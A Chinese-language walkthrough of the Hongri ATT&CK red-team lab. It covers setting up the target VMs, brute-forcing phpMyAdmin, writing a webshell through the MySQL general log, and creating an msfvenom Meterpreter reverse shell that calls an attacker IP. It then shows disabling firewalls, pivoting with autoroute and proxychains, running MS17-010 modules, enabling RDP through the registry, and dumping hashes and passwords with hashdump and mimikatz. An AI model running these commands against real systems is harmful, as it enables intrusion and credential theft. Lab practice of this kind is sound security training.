Bootstrap

红队ATK&CK|红日靶场Write-Up(附下载链接)

网络拓扑图

在这里插入图片描述

下载地址

在线下载:

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

百度网盘

链接:https://pan.baidu.com/s/1nlAZAuvni3EefAy1SGiA-Q?pwd=h1e5
提取码:h1e5

环境搭建

通过上述图片,web服务器vm1既能用于外界访问,又能保证内网(vm2、vm3)访问,所以准备一张

仅主机网卡,然后将网段配置为:192.168.52.0段(虚拟机内部用的52段)

靶场 密码hongrisec@2019

web服务器(Windows7)

  • NAT模式:192.168.134.135
  • VMnet1:192.168.52.143

域控服务器(Windows server 2008)

  • VMnet1:192.168.52.138

域成员主机(Windows server 2003)

  • VMnet1:192.168.52.141

在这里插入图片描述

安装靶场

VM1 —web服务器(Windows7)

  • NAT模式:192.168.134.135
  • VMnet1:192.168.52.143

VM3—域控服务器(Windows server 2008)

  • VMnet1:192.168.52.138

VM—2域成员主机(Windows server 2003)

  • VMnet1:192.168.52.141

在虚拟机中安装win7、winserver08 、winserver03 同样的步骤,如下图

在这里插入图片描述

win7 要配置两张网卡,一张用于外部访问,一张用于和内网进行通讯

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

win7ping2003

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

信息收集

史上最全的信息收集总结!!!_信息搜集-CSDN博客

信息收集的分类
服务器的相关信息(真实ip,系统类型,版本,开放端口,WAF等)

网站指纹识别(包括,cms,cdn,证书等) dns记录

whois信息,姓名,备案,邮箱,电话反查(邮箱丢社工库,社工准备等)

子域名收集,旁站,C段等

google hacking针对化搜索,word/电子表格/pdf文件,中间件版本,弱口令扫描等

扫描网站目录结构,爆后台,网站banner,测试文件,备份等敏感文件泄漏等

传输协议,通用漏洞,exp,github源码

靶机的ip

192.168.52.143

在这里插入图片描述

收集指纹信息

php探针

在这里插入图片描述

Wappalyzer

在这里插入图片描述

whatweb
whatweb [http://192.168.52.143](http://192.168.52.143)

在这里插入图片描述

目录扫描

dirsearch

在这里插入图片描述

结果:

扫出跳转的路径

[http://192.168.52.143/phpmyadmin/](http://192.168.52.143/phpmyadmin/)

进入后台登录页面

在这里插入图片描述

知道使用的phpMyAdmin管理,就去找这个平台的漏洞

phpMyAdmin(mysql)常见的写shell方法及版本漏洞汇总_phpmyadmin漏洞-CSDN博客

御剑(Windows端)

在这里插入图片描述

结果:

扫描到备份文件

在这里插入图片描述

phpinfo()

在这里插入图片描述

存在目录泄露漏洞

在这里插入图片描述

使用burp进行口令爆破

打开burp的代理拦截,打开火狐的本地代理

在这里插入图片描述

在这里插入图片描述

获取到请求

在这里插入图片描述

找到密码位和账号位

在拦截的请求页面,右键点击 send to intruder

在这里插入图片描述

对需要处理的参数(账号,密码)做变量处理

在这里插入图片描述

这里补充一点:

爆破的4种类型(Cluster bomb为最常用):
1、Sniper:对变量进行依次破解,只有一个字典
2、Battering ran:对变量进行同时破解,用户名和密码相同,只有一个字典
3、pitch fork:每个变量将会对应一个字典,用户名和密码一一对应,两个字典
4、Cluster bomb:每个变量将会对应一个字典,并且交集破解尝试每一个组合,每个用户和每个密码进行匹配,两个字典
————————————————

参数做变量之后,页面点击payloads,针对第1、2个变量设置

设置第1个变量

在这里插入图片描述

设置第二个变量

在这里插入图片描述

最后一步,我们就可以点击右上角的“Start attack”了,这样Burpsuite就会自动发送payload构成的多个数据

在这里插入图片描述

可以发现root的组合长度是和其他的不一样,所以账号密码都是root

进入后台服务器数据库管理页面

在这里插入图片描述

进行信息收集

在‘已知开源平台的时候,第一件事一定是去百度该平台的漏洞,然后再去获得该平台的版本,为自己提供渗透思路

这里可以在服务器执行SQL查询,可以通过查询日志来搞一搞日志的一句话木马

在这里插入图片描述

查看关键字段

在这里插入图片描述

这里有一个开源的平台的数据库,可以看看漏洞

在这里插入图片描述

在这里插入图片描述

YxCMS 1.4.7 最新版漏洞分析-CSDN博客

搞到账号和密码的md5

在这里插入图片描述

这里有一个查询窗口,可以SQL注入搞一搞

在这里插入图片描述

查看phpMyAdmin版本
phpMyAdmin是有很多公开漏洞的,如果能知道phpMyAdmin的版本信息,直接在网上搜索相关版本的漏洞即可利用

获取phpmyadmin版本信息方法:

Documetation.html
Documetation.txt
translators.html
readme.php
README
changelog.php
Change
只要在phpmyadmin目录后面添加以上的文件,逐个尝试就可以看到phpmyadmin的相关版本信息了(前提是管理员没有把记录版本信息的文件删除掉)

在这里插入图片描述

开始getshell

第一种,使用查询框来搞一句话木马

因为我们知道探针路径C:\phpStudy\WWW\l.php,所以尝试文件添加木马

在这里插入图片描述

这这里发现做了限制,所以不能通过修改探针来实现一句话木马

在这里插入图片描述

第二种,尝试使用into_outfile读写文件

1.漏洞简介

into outfile 语句用于把表数据导出到一个文本文件中,要想mysql用户对文件进行导入导出,首先要看指定的权限目录。mysql 新版本下secure_file_priv参数是用来限制LOAD DATA, SELECT …OUTFILE, and LOAD_FILE()传到哪个指定目录的。

当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出;

当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下;

当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制。

条件1)要有file_priv权限2)知道网站绝对路径3)要能用union4)对web目录有写权限5)没有过滤单引号

在这里插入图片描述

在这里插入图片描述

发现也做了限制

第三种 尝试使用日志的方式写入

条件:

1、全局变量general_log=‘on’

(general_log指的是日志保存状态,off状态,那么日志就没有被记录进去,打开状态不管SQL语句是否正确,都会被记录进去)

general_log_file指的是日志保存路径,可以直接SQL语句修改,但必须是以能解析的一种后缀名,比如PHP,否则小马不会被解析

2、secure_file_priv为空,即secure_file_priv=“”

(设置只能通过设置my.ini来配置)

当secure_file_priv为空,就可以写入磁盘的目录。

当secure file _priv为G:\,就可以写入G盘的文件。

当secure file priv为null,into outfile就不能写入文件。(注意NULL不是我们要的空,NULL和

空的类型不一样))

3、有写的权限

4、知道物理路径这样才能写对目录

首先修改全局变量general_log

在这里插入图片描述

然后进行查询注入

在这里插入图片描述

显示查询成功,那么stu1.php肯定就在之前那个路径下生成了

在这里插入图片描述

生成后门成功

使用蚁剑连接

在这里插入图片描述

在这里插入图片描述

这里看一下cms的源文件

在这里插入图片描述

发现有一个index.php

通过路径访问该页面

在这里插入图片描述

试着找一下这个页面的漏洞

目录扫描

用御剑扫描扫出来的结果

在这里插入图片描述

结果:发现index of 目录索引漏洞

在这里插入图片描述

使用指纹识别wappalyzer

在这里插入图片描述

可以得到中间建信息

使用kali的whatweb

在这里插入图片描述

可以得到

Apache[2.4.23]

Country[RESERVED][ZZ]

Email[[email protected]],

HTML5,

HTTPServer[Windows (32 bit)]

[Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45]

IP[192.168.52.143], JQuery, OpenSSL[1.0.2j]

PHP[5.4.45],

Script[text/javascript]

Title[Yxcms建站系统演示站]

UncommonHeaders[centent-type]

X-Powered-By[PHP/5.4.45]

可以找到一堆相应中间件的漏洞poc

前面通过蚁剑连接后的权限打开终端

在这里插入图片描述

关闭防火墙

netsh advfirewall set allprofile state off
netsh advfirewall show allprofile state

在这里插入图片描述

然后进入kali生成木马

在这里插入图片描述

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.208.134 LPORT=5555 -a x86 --platform Windows -f exe > shell1.exe

使用蚁剑上传文件

在这里插入图片描述

在这里插入图片描述

关闭防火墙

在这里插入图片描述

进入kali的msf,开启监听模块

在这里插入图片描述

在这里插入图片描述

set payload windows/meterpreter/reverse_tcp
set lhost 192.168.208.134

然后run

在蚁剑里打开木马

在这里插入图片描述

然后获取到materpreter

在这里插入图片描述

进行提权

在这里插入图片描述

进入shell

在这里插入图片描述

开始内网信息收集

判断是否是域控主机

在这里插入图片描述

发现不是

查看ip

在这里插入图片描述

发现域:DNS Suffix Search List. . . . . . : god.org

解析域名ip

在这里插入图片描述

找到dc服务器

在这里插入图片描述

和本机在同一网段里。

这里也能看出处于同一个域

在这里插入图片描述

查询域

net view /domain

在这里插入图片描述

查询域内主机

在这里插入图片描述

目前已经确定到DNS IP

这里补充一下如何确定域控服务器

判断是否是域内主机_如何确定windows机器是否是域控-CSDN博客

了解本机信息后,就要判断当前内网中是否存在域。

查看网关IP地址、DNS的ip地址、域名、本机是否和DNS服务器处于同一网段等信息。

nslookup解析 域名的IP地址,查看是否与DNS服务器在同一IP上。

Windows 判断是否存在域,搜集域内基本信息,查看域控制器_判断win是否在域内命令-CSDN博客

添加路由

获取内网信息

run get_local_subnets

在这里插入图片描述

添加路由

run post/multi/manage/autoroute

在这里插入图片描述

然后就可以扫描内网主机

在这里插入图片描述

138和141是内网存活的主机

扫描内网主机的端口

先代理

在这里插入图片描述

search socks_proxy
vim /etc/proxychains4.conf

在这里插入图片描述

nmap扫描端口

在这里插入图片描述

发现smb445端口

尝试使用永恒之蓝

在这里插入图片描述

通过这两个工具,其中
0 exploit/windows/smb/ms17_010_eternalblue是永恒之蓝攻击代码,一般两者配合使用,前者先扫描,若是显示有漏洞,再进行攻击。

1是远程代码执行攻击

2是远程命令执行攻击
3 auxiliary/scanner/smb/smb_ms17_010是永恒之蓝扫描模块,探测主机是否存在MS17-010漏洞。

使用0结果拿不到shell

在这里插入图片描述

使用3也是能探测到漏洞

在这里插入图片描述

尝试使用ms08_067

MS08-067漏洞全称是“Windows Server服务RPC请求缓冲区溢出漏洞”,攻击者利用受害者主机默认开放

的SMB服务端口445

use exploit/windows/smb/ms08_067_netapi

在这里插入图片描述

还是拿不到meterpreter

在这里插入图片描述

尝试使用ms17_010_psexec(远程代码执行)

这个要利用管道,但是由于不知道哪些管道可以利用,所以要去做管道的信息收集

扫描管道

use auxiliary/scanner/smb/pipe_auditor

在这里插入图片描述

获取到可用的管道信息

\netlogon, \lsarpc, \samr, \browser, \epmapper, \srvsvc, \trkwks, \wkssvc

使用ms17_010_psexec

use exploit/windows/smb/ms17_010_psexec

在这里插入图片描述

在这里插入图片描述

还是拿不到权限

在这里插入图片描述

所以要换一个主机尝试

ms17_010_command(远程代码执行)

use ms17_010_command

在这里插入图片描述

查询成功,说明可以成功执行远程代码

在这里插入图片描述

关闭防火墙

set COMMAND netsh advfirewall set allprofiles state off

在这里插入图片描述

开启3389端口

启用远程桌面协议:

set COMMAND 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'

禁用远程桌面协议:reg add
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 1 /f

在这里插入图片描述

我们要去获取域控的密码

使用hashdump

run post/windows/gather/smart_hashdump

在这里插入图片描述

获取到密文

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

在这里插入图片描述

版本原因看不到,尝试minikataz获取明文密码

在这里插入图片描述

获取到明文密码

在这里插入图片描述

Administrator

hongrisec@2019

开启远程桌面

proxychains4 rdesktop 192.168.52.138:3389

在这里插入图片描述

;